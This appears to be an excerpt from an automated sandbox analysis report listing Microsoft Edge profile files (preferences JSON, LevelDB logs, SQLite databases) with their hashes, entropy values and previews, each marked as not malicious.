C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67445AB3-1FFC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4507600423514851
Encrypted:	false
SSDEEP:	3072:YvDL/oXpR0WBftY0ne4QUfHNNGu+Q8WmVWKCUKlcHqkF0Gg1HFsB:wL/873neFUfHNL9kCUKlcHqkF0GaHiB
MD5:	A58B2B20B742049EAEFDE1FCC9453E16
SHA1:	38BBC5291253ED5717C3D66057D5F3343651B615
SHA-256:	0C5AD10CADCDF18F0BC269EE6E391063DDAA86CFC332B38B7D8586C4C35FFE4C
SHA-512:	28D387BA85F5AF7FD1A30ACF43900ABCFD5B6D1F5C751EE0EBB4A89870209F040AC506BFD73FCF23C51D6A2A340456855E7EE89DC5651EE0782016B8DB3C478A
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".gimgfx20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........5...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\03125f9c-66bc-47b3-814c-ebb5c574529c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\05140d9d-6b45-47ad-b4ae-5e80d1eb3237.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561326692053695
Encrypted:	false
SSDEEP:	768:wF+lBh7pLGLPoOWPFdf4c8F1+UoAYDCx9Tuqh0VfUC9xbog/OVZVpykcsrw/g6Zg:wF+lBXcPoOWPFdf4cu1jawVp5cF/g649
MD5:	38FCCE87773EBA30D3267F77FBD68D25
SHA1:	EB89265D923AE79A2556ECE376DBFEE342611D03
SHA-256:	EC3C7F56722DE84A955F21877D3B403E16A2672D0A81A8260E948C9E3700C69F
SHA-512:	3301C660B4C8FC27822346B1C35F381DE7965AB718B4508ECCC2150BE0BA2F02E97AA25C0F322023F7C25BB4D4E4794A2642B6B7BE3C1D234ACA318A5839F613
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377006516227243","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377006516227243","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2b0bb2ca-6d4e-4a2a-be2c-dadf3ad1c7af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5677138890402125
Encrypted:	false
SSDEEP:	768:wQolEOWPFdfJc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLykPsrwEpHtuu:wQolEOWPFdfJcu1jaO5PFAtF
MD5:	AAE7DE1F7D8F92EF4378973E50F04665
SHA1:	30F4338EE7EA3A99837871EF81EB8AADA066C8D1
SHA-256:	67BEB44A7BC5653EFEE9CE7005742ADE91D8C9FFDC086539A50439DC50D12215
SHA-512:	93FA9886F86CA5C026CE4395F23CF893D0B6DFA6781AD84789C4DA2FF6E93B8818F7B3ED323187AA299F4D98538A8AA679F429A68CF9182B0D62A818475C7D7C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377006516227243","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377006516227243","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\424370ef-f6c3-4d23-b52b-62798975e487.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17113), with no line terminators
Category:	dropped
Size (bytes):	17115
Entropy (8bit):	5.497692518107182
Encrypted:	false
SSDEEP:	384:stKPGQSu4ksdI5XlCjlsOufhN48DN6T+8lHbGqQwnF7NIB:s4OXuiI5wambGZC2
MD5:	173194D558D7055BD686A7DF4E2581ED
SHA1:	E4DFF561EA98B71F2BBF2B746905214467710B77
SHA-256:	69013DA8837FC14BB77386971646158FBA07B876C8C51E1A339EA4625173D60A
SHA-512:	00B5FC7FA2C311CB64C857920655CA22C5DA41A49ADFF87739ECDAAD0A8DD080A115C26EF9C7EF19635BC7F70B19509DC67DE1C09C382E7417B9FE908D2B2EF4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\997d4206-4884-451c-88d8-40e5b0fef172.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17278), with no line terminators
Category:	dropped
Size (bytes):	17280
Entropy (8bit):	5.494435972671196
Encrypted:	false
SSDEEP:	384:stKPGQSu4ksdI5XlCjlsOufhN48DN6T+8lHbGqQwnTAf7NIB:s4OXuiI5wambGZk82
MD5:	82BEA3C5BDAEF2D1E9C0E8441159A242
SHA1:	C86E44A721862D116E8264E8C8C37EBDF6A4438E
SHA-256:	5D3DF3B8C01CB6D348FA4B780A723AA7C550D029ADE8FCFA6E1B6D9F43D1A183
SHA-512:	5E4E9335FF88A634A304A533C9945F45D9B2544A9ED6B02D31F28511D03CFF929EB469493738F0FD9E9F8D40B2999CBA52869CFF75FBC44BEE9354FB2EE9D5EE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9bc954b9-bf98-4e60-90f6-ba2750184231.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14156
Entropy (8bit):	5.303724044362348
Encrypted:	false
SSDEEP:	384:stKPGQSu4ksdI5XlCjlsO5bGqQwnS7NIB:s4OXuiI5wdbGZd2
MD5:	458E4E9CC6360DE7A276D9A93CD83927
SHA1:	9E7642A5047BC82F04661A732F1035CA0FC42F4C
SHA-256:	F53EEA88E79F7A59225BC6DC654AF51C4EF7A38604D8F7A6F59B08E352C2FED1
SHA-512:	672D25708AA42C4741E6AC813DA78AD9032BFDB2E20EF607F190C4EC937A7D12829401223F65156004B9FDB8D4145B2AB980B3F8424CBC893BBA865B0A9797F2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.257911054353108
Encrypted:	false
SSDEEP:	6:HAMmRq1CHhJ23oH+Tcwtp3hBtB2KLlVAtkIq2PCHhJ23oH+Tcwtp3hBWsIFUv:gnQYebp3dFLotdvBYebp3eFUv
MD5:	32F140734E7E6F2FD4048EB5B4AC93E8
SHA1:	C569F6F5D171E819937E75B2394EFEE7D508CDD9
SHA-256:	FC13B349E2D75CF313AF6A21809C07189F4D20DF7917E44DBDCFA18058947627
SHA-512:	0FA0C2AD068C2087BD2D2CCC839EA642AB0789603EF54C142E3AE09A5A1D7B8F6F6F232A3AD842D4D65B8C4D29F068F41AFC976C7DBEE9DD67804D37CF548594
Malicious:	false
Preview:	2024/11/25-06:08:41.408 1c90 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/25-06:08:41.428 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138101180841621
Encrypted:	false
SSDEEP:	24576:hKPyfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKqfqJmcx
MD5:	A0984122CA3B3D34526B76411475B630
SHA1:	B1A9165484D198CE13BBA6D1C9E4FA682948416B
SHA-256:	A7A7CEC688336C27731EEE8970A887B41054C97652CC75BBD8F1107E70668DFE
SHA-512:	C010C7EBFB3452D2E8613DE6B0283E5942E441BDAF165BB3FDE8FD937A0ECD13BC9796D66F20CD5ED3CFCF22ED6324592CCDE986CD33133B93AD2D877B8E7AFD
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.13630848323189
Encrypted:	false
SSDEEP:	6:HAl+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YAfZmw+YA6VkwOCHhJ23oH+Tcwt9Eh15LJ:gwvBYeb9Eh16FUt87f/+7y56Yeb9Eh1H
MD5:	2E0DEE7E5BCDC2EBEFFF0F2DC1ADC5C9
SHA1:	630951EAA0A9A61C5C1A36E1D8B01688AD55A507
SHA-256:	A5E3082ED3234C8892E18265715D812D5C3B8F0D699FFA4E7D4744A877F8C305
SHA-512:	5E070453722AB23E8F825D5BE6744DE91112F4CBC5A299644987301D511E0CFB7B3385831E17592E607095DEC26F7CAD392808F1ECAE8BB1DA4C85DE363967FD
Malicious:	false
Preview:	2024/11/25-06:08:41.220 2268 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-06:08:41.222 2268 Recovering log #3.2024/11/25-06:08:41.229 2268 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.13630848323189
Encrypted:	false
SSDEEP:	6:HAl+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YAfZmw+YA6VkwOCHhJ23oH+Tcwt9Eh15LJ:gwvBYeb9Eh16FUt87f/+7y56Yeb9Eh1H
MD5:	2E0DEE7E5BCDC2EBEFFF0F2DC1ADC5C9
SHA1:	630951EAA0A9A61C5C1A36E1D8B01688AD55A507
SHA-256:	A5E3082ED3234C8892E18265715D812D5C3B8F0D699FFA4E7D4744A877F8C305
SHA-512:	5E070453722AB23E8F825D5BE6744DE91112F4CBC5A299644987301D511E0CFB7B3385831E17592E607095DEC26F7CAD392808F1ECAE8BB1DA4C85DE363967FD
Malicious:	false
Preview:	2024/11/25-06:08:41.220 2268 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-06:08:41.222 2268 Recovering log #3.2024/11/25-06:08:41.229 2268 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4621108685853336
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu+jW:TouQq3qh7z3bY2LNW9WMcUvBu+jW
MD5:	8420FCCD5493B7302BF6008E7CF29F30
SHA1:	8A4DD231A9C4FCDF5B0B1577845B4D36C046C609
SHA-256:	AB8DD3B4E4D27B7CEF71B6FAD55196CA82BDB67B480F5F07DD7245CDEA3B66F2
SHA-512:	524C2699BF3AECF9A6AD9A228C3243DB371295F9673D23E6778629193295F7C2D4BEB48FE95DF3968ADFEB09F01BBD8683CBBE67F5902B5968B62A440AF11F0A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.247587630670214
Encrypted:	false
SSDEEP:	6:HAN9yQ+q2PCHhJ23oH+TcwtnG2tMsIFUt8YANWPgZmw+YANWPQVkwOCHhJ23oH+V:gN9uvBYebn9GFUt87Nt/+7Nf56Yebn9b
MD5:	080E1649C3877CC0D56749985916419C
SHA1:	A2178CEE945346B87BF25E504D34CDF5DF39871A
SHA-256:	AE4BF308DAB9E4F71BF885589B2F4F91650D6F1E2F154D8657FD45DCFC3B5388
SHA-512:	BF3D536CBF1E1C9DDB7A5F8BFCA49D83BAAD18DF4177CE4C3490A48C3DB511B6BEF542CC19FAC4901E7CA55AD66B3CBF263FD8881E6AF0617E09D455AB718DE4
Malicious:	false
Preview:	2024/11/25-06:08:36.229 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-06:08:36.232 1d68 Recovering log #3.2024/11/25-06:08:36.232 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.247587630670214
Encrypted:	false
SSDEEP:	6:HAN9yQ+q2PCHhJ23oH+TcwtnG2tMsIFUt8YANWPgZmw+YANWPQVkwOCHhJ23oH+V:gN9uvBYebn9GFUt87Nt/+7Nf56Yebn9b
MD5:	080E1649C3877CC0D56749985916419C
SHA1:	A2178CEE945346B87BF25E504D34CDF5DF39871A
SHA-256:	AE4BF308DAB9E4F71BF885589B2F4F91650D6F1E2F154D8657FD45DCFC3B5388
SHA-512:	BF3D536CBF1E1C9DDB7A5F8BFCA49D83BAAD18DF4177CE4C3490A48C3DB511B6BEF542CC19FAC4901E7CA55AD66B3CBF263FD8881E6AF0617E09D455AB718DE4
Malicious:	false
Preview:	2024/11/25-06:08:36.229 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-06:08:36.232 1d68 Recovering log #3.2024/11/25-06:08:36.232 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6134145616910347
Encrypted:	false
